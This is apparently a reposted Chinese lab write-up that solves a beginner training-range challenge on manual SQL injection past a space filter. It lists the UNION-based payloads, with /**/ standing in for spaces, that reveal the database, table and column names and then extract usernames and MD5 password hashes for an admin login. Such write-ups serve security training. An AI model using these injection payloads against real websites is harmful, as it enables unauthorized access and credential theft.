墨者靶场 初级:SQL过滤字符后手工注入漏洞测试
程序员文章站
2022-03-25 07:51:31
...
题目
背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Apache+PHP+MySQL,PHP代码对客户端提交的参数做了些许过滤。来感受过滤过后的SQL手工注入吧。
实训目标
1、掌握SQL注入原理;
2、了解手工注入的方法;
3、了解字符串的URL加解密;
4、了解SQL注入常用注释字符;
5、了解SQL查询中连接符和判断符的区别;
解题方向
手工进行SQL注入测试,获取管理密码登录。
解题步骤
启动靶场环境,得到测试地址
http://219.153.49.228:48524/
访问页面,寻找sql注入点,访问注入页面。
http://219.153.49.228:48524/new_list.asp?id=1
寻找注入点,-1,’,页面均发生变化,说明存在注入
该页面存在过滤,尝试使用and 1=1,and 1=2,or 1=1,or 1=2,页面未发生报错,判断应该存在空格过滤,用//代替空格,like代替
构造url编码,url编码工具:
http://web.chacuo.net/charseturlencode
成功回显,证明编码是成功的,所以接下来的注入语句都要这样编码,别忘了。
接下来判断回显位。
-1/**/union/**/select/**/1,2,3,4
回显位是2,那接下来注入数据库。
-1/**/union/**/select/**/1,database(),3,4
数据库名知道了,接着注入表。
-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()
表名也知道了,接着注入字段。
-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'stormgroup_member'
字段名也出来了,获取name和password的值。
-1/**/union/**/select/**/1,2,group_concat(name,0x7c,password,0x7e),4/**/from/**/stormgroup_member
对密文进行md5解码,得到密码明文,登录后台获取key。
提交key,完工。